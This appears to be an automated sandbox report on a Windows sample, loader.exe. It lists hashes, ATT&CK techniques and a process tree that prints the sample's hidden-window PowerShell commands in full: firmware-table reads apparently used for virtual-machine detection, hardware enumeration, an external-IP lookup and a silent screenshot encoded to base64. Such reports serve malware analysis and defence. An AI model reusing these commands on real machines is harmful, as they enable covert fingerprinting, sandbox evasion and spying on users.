8476214d7b4586c47d67e608a355e8bd5780578b365712cd98b6fc4a8ebfc7b8

Analysis

max time kernel
28s
max time network
32s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260618-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/06/2026, 12:57

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General

Target
loader.exe
Size 111.6MB
Sample260620-p7ch8se15k
SHA256 8476214d7b4586c47d67e608a355e8bd5780578b365712cd98b6fc4a8ebfc7b8
MD5 e3b4600028b0739561267d9f5203e0f5
SHA1 f1a83a09352ae9bcd2ac1d6f273e4861c4d3b3b1
SHA512 2a05eff6be7235d7d150d0f7491ac98169b7c1094d8ed97a9777f85b7d84b8bbd40f58905359e1deabc86653be3d2abf8879de7047f083384256060010fe5401
SSDEEP 1572864:MAXffHRdXmZF8CY8EpRIf2pjmom3H7S7u+VYVXqwb:h3iXtqwb
TLSH
T114486C43B2A75098E4BBC97582D65323E9337C8A1F3069EF15845B312F73AE09B39B15
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5852	powershell.exe
2392	powershell.exe
3220	powershell.exe
5308	powershell.exe
4568	powershell.exe
1988	powershell.exe
2124	powershell.exe
3436	powershell.exe
3428	powershell.exe
3100	powershell.exe
5920	powershell.exe
1532	powershell.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	checkip.amazonaws.com
1	checkip.amazonaws.com

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
1532	powershell.exe
1532	powershell.exe
4568	powershell.exe
4568	powershell.exe
5852	powershell.exe
5852	powershell.exe
1988	powershell.exe
1988	powershell.exe
2124	powershell.exe
2124	powershell.exe
2392	powershell.exe
2392	powershell.exe
3436	powershell.exe
3436	powershell.exe
4428	WMIC.exe
4428	WMIC.exe
4428	WMIC.exe
4428	WMIC.exe
728	WMIC.exe
728	WMIC.exe
728	WMIC.exe
728	WMIC.exe
3428	powershell.exe
3428	powershell.exe
3220	powershell.exe
3220	powershell.exe
5308	powershell.exe
5308	powershell.exe
3100	powershell.exe
3100	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1532	powershell.exe
Token: SeDebugPrivilege	4568	powershell.exe
Token: SeIncreaseQuotaPrivilege	4568	powershell.exe
Token: SeSecurityPrivilege	4568	powershell.exe
Token: SeTakeOwnershipPrivilege	4568	powershell.exe
Token: SeLoadDriverPrivilege	4568	powershell.exe
Token: SeSystemProfilePrivilege	4568	powershell.exe
Token: SeSystemtimePrivilege	4568	powershell.exe
Token: SeProfSingleProcessPrivilege	4568	powershell.exe
Token: SeIncBasePriorityPrivilege	4568	powershell.exe
Token: SeCreatePagefilePrivilege	4568	powershell.exe
Token: SeBackupPrivilege	4568	powershell.exe
Token: SeRestorePrivilege	4568	powershell.exe
Token: SeShutdownPrivilege	4568	powershell.exe
Token: SeDebugPrivilege	4568	powershell.exe
Token: SeSystemEnvironmentPrivilege	4568	powershell.exe
Token: SeRemoteShutdownPrivilege	4568	powershell.exe
Token: SeUndockPrivilege	4568	powershell.exe
Token: SeManageVolumePrivilege	4568	powershell.exe
Token: 33	4568	powershell.exe
Token: 34	4568	powershell.exe
Token: 35	4568	powershell.exe
Token: 36	4568	powershell.exe
Token: SeDebugPrivilege	5852	powershell.exe
Token: SeIncreaseQuotaPrivilege	5852	powershell.exe
Token: SeSecurityPrivilege	5852	powershell.exe
Token: SeTakeOwnershipPrivilege	5852	powershell.exe
Token: SeLoadDriverPrivilege	5852	powershell.exe
Token: SeSystemProfilePrivilege	5852	powershell.exe
Token: SeSystemtimePrivilege	5852	powershell.exe
Token: SeProfSingleProcessPrivilege	5852	powershell.exe
Token: SeIncBasePriorityPrivilege	5852	powershell.exe
Token: SeCreatePagefilePrivilege	5852	powershell.exe
Token: SeBackupPrivilege	5852	powershell.exe
Token: SeRestorePrivilege	5852	powershell.exe
Token: SeShutdownPrivilege	5852	powershell.exe
Token: SeDebugPrivilege	5852	powershell.exe
Token: SeSystemEnvironmentPrivilege	5852	powershell.exe
Token: SeRemoteShutdownPrivilege	5852	powershell.exe
Token: SeUndockPrivilege	5852	powershell.exe
Token: SeManageVolumePrivilege	5852	powershell.exe
Token: 33	5852	powershell.exe
Token: 34	5852	powershell.exe
Token: 35	5852	powershell.exe
Token: 36	5852	powershell.exe
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeIncreaseQuotaPrivilege	1988	powershell.exe
Token: SeSecurityPrivilege	1988	powershell.exe
Token: SeTakeOwnershipPrivilege	1988	powershell.exe
Token: SeLoadDriverPrivilege	1988	powershell.exe
Token: SeSystemProfilePrivilege	1988	powershell.exe
Token: SeSystemtimePrivilege	1988	powershell.exe
Token: SeProfSingleProcessPrivilege	1988	powershell.exe
Token: SeIncBasePriorityPrivilege	1988	powershell.exe
Token: SeCreatePagefilePrivilege	1988	powershell.exe
Token: SeBackupPrivilege	1988	powershell.exe
Token: SeRestorePrivilege	1988	powershell.exe
Token: SeShutdownPrivilege	1988	powershell.exe
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeSystemEnvironmentPrivilege	1988	powershell.exe
Token: SeRemoteShutdownPrivilege	1988	powershell.exe
Token: SeUndockPrivilege	1988	powershell.exe
Token: SeManageVolumePrivilege	1988	powershell.exe
Token: 33	1988	powershell.exe

Suspicious use of WriteProcessMemory 29 IoCs

description	pid	Process	procid_target
PID 4248 wrote to memory of 2724	4248	loader.exe	87
PID 2724 wrote to memory of 5920	2724	cmd.exe	89
PID 4248 wrote to memory of 1940	4248	loader.exe	90
PID 1940 wrote to memory of 1532	1940	cmd.exe	92
PID 1532 wrote to memory of 1792	1532	powershell.exe	93
PID 4248 wrote to memory of 4668	4248	loader.exe	94
PID 4668 wrote to memory of 4568	4668	cmd.exe	96
PID 4248 wrote to memory of 2464	4248	loader.exe	98
PID 2464 wrote to memory of 5852	2464	cmd.exe	100
PID 4248 wrote to memory of 5388	4248	loader.exe	101
PID 5388 wrote to memory of 1988	5388	cmd.exe	103
PID 4248 wrote to memory of 2404	4248	loader.exe	104
PID 2404 wrote to memory of 2124	2404	cmd.exe	106
PID 4248 wrote to memory of 6128	4248	loader.exe	107
PID 6128 wrote to memory of 2392	6128	cmd.exe	109
PID 4248 wrote to memory of 5300	4248	loader.exe	110
PID 5300 wrote to memory of 3436	5300	cmd.exe	112
PID 4248 wrote to memory of 3344	4248	loader.exe	113
PID 3344 wrote to memory of 4428	3344	cmd.exe	115
PID 4248 wrote to memory of 5440	4248	loader.exe	116
PID 5440 wrote to memory of 728	5440	cmd.exe	118
PID 4248 wrote to memory of 808	4248	loader.exe	119
PID 808 wrote to memory of 3428	808	cmd.exe	121
PID 4248 wrote to memory of 4156	4248	loader.exe	122
PID 4156 wrote to memory of 3220	4156	cmd.exe	124
PID 4248 wrote to memory of 972	4248	loader.exe	125
PID 972 wrote to memory of 5308	972	cmd.exe	127
PID 4248 wrote to memory of 2368	4248	loader.exe	128
PID 2368 wrote to memory of 3100	2368	cmd.exe	130

C:\Users\Admin\AppData\Local\Temp\loader.exe
"C:\Users\Admin\AppData\Local\Temp\loader.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4248
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint GetSystemFirmwareTable(uint sig,uint id,IntPtr buf,uint sz);public static string R(){uint n=GetSystemFirmwareTable(0x52534D42,0,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);GetSystemFirmwareTable(0x52534D42,0,b,n);byte[] d=new byte[(int)System.Math.Min(n,8192u)];Marshal.Copy(b,d,0,d.Length);Marshal.FreeHGlobal(b);var s=new System.Text.StringBuilder();var c=new System.Text.StringBuilder();foreach(byte x in d){if(x>=0x20&&x<0x7F)c.Append((char)x);else{if(c.Length>=4){s.Append(c);s.Append(\\"|\\");}c.Clear();}}return s.ToString();}' -Name R1 -Namespace HW -Using System.Runtime.InteropServices; [HW.R1]::R()""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2724
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint GetSystemFirmwareTable(uint sig,uint id,IntPtr buf,uint sz);public static string R(){uint n=GetSystemFirmwareTable(0x52534D42,0,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);GetSystemFirmwareTable(0x52534D42,0,b,n);byte[] d=new byte[(int)System.Math.Min(n,8192u)];Marshal.Copy(b,d,0,d.Length);Marshal.FreeHGlobal(b);var s=new System.Text.StringBuilder();var c=new System.Text.StringBuilder();foreach(byte x in d){if(x>=0x20&&x<0x7F)c.Append((char)x);else{if(c.Length>=4){s.Append(c);s.Append(\\"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5920
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint EnumSystemFirmwareTables(uint sig,IntPtr buf,uint sz);public static string L(){uint n=EnumSystemFirmwareTables(0x41435049,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);EnumSystemFirmwareTables(0x41435049,b,n);var r=new System.Text.StringBuilder();for(int i=0;i<(int)(n/4);i++){byte[] s=new byte[4];Marshal.Copy(b+i*4,s,0,4);r.Append(System.Text.Encoding.ASCII.GetString(s));r.Append(\\",\\");}Marshal.FreeHGlobal(b);return r.ToString();}' -Name R2 -Namespace HW2 -Using System.Runtime.InteropServices; [HW2.R2]::L()""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1940
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint EnumSystemFirmwareTables(uint sig,IntPtr buf,uint sz);public static string L(){uint n=EnumSystemFirmwareTables(0x41435049,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);EnumSystemFirmwareTables(0x41435049,b,n);var r=new System.Text.StringBuilder();for(int i=0;i<(int)(n/4);i++){byte[] s=new byte[4];Marshal.Copy(b+i*4,s,0,4);r.Append(System.Text.Encoding.ASCII.GetString(s));r.Append(\\",\\");}Marshal.FreeHGlobal(b);return r.ToString();}' -Name R2 -Namespace HW2 -Using System.Runtime.InteropServices; [HW2.R2]::L()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1532
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\201fzmbh\201fzmbh.cmdline"
      4⤵
      PID:1792
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Model | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4668
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Model | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4568
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object Manufacturer | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2464
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object Manufacturer | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5852
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_ComputerSystem | Select-Object Manufacturer | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5388
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_ComputerSystem | Select-Object Manufacturer | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PhysicalMemory | Select-Object Manufacturer,Speed | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2404
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PhysicalMemory | Select-Object Manufacturer,Speed | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_SoundDevice | Select-Object Name | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6128
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_SoundDevice | Select-Object Name | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2392
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BaseBoard | Select-Object Manufacturer,Product | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5300
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BaseBoard | Select-Object Manufacturer,Product | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get Manufacturer /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3344
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get Manufacturer /format:list
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4428
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get Product /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5440
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get Product /format:list
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:728
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object PNPDeviceID | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:808
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object PNPDeviceID | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3428
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PnPEntity | Select-Object Name | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4156
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PnPEntity | Select-Object Name | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3220
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Size | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:972
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Size | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:5308
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing;$b=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$bmp=New-Object Drawing.Bitmap($b.Width,$b.Height);$g=[Drawing.Graphics]::FromImage($bmp);$g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size);$ms=New-Object IO.MemoryStream;$bmp.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg);[Convert]::ToBase64String($ms.ToArray())""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2368
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing;$b=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$bmp=New-Object Drawing.Bitmap($b.Width,$b.Height);$g=[Drawing.Graphics]::FromImage($bmp);$g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size);$ms=New-Object IO.MemoryStream;$bmp.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg);[Convert]::ToBase64String($ms.ToArray())"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3100

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact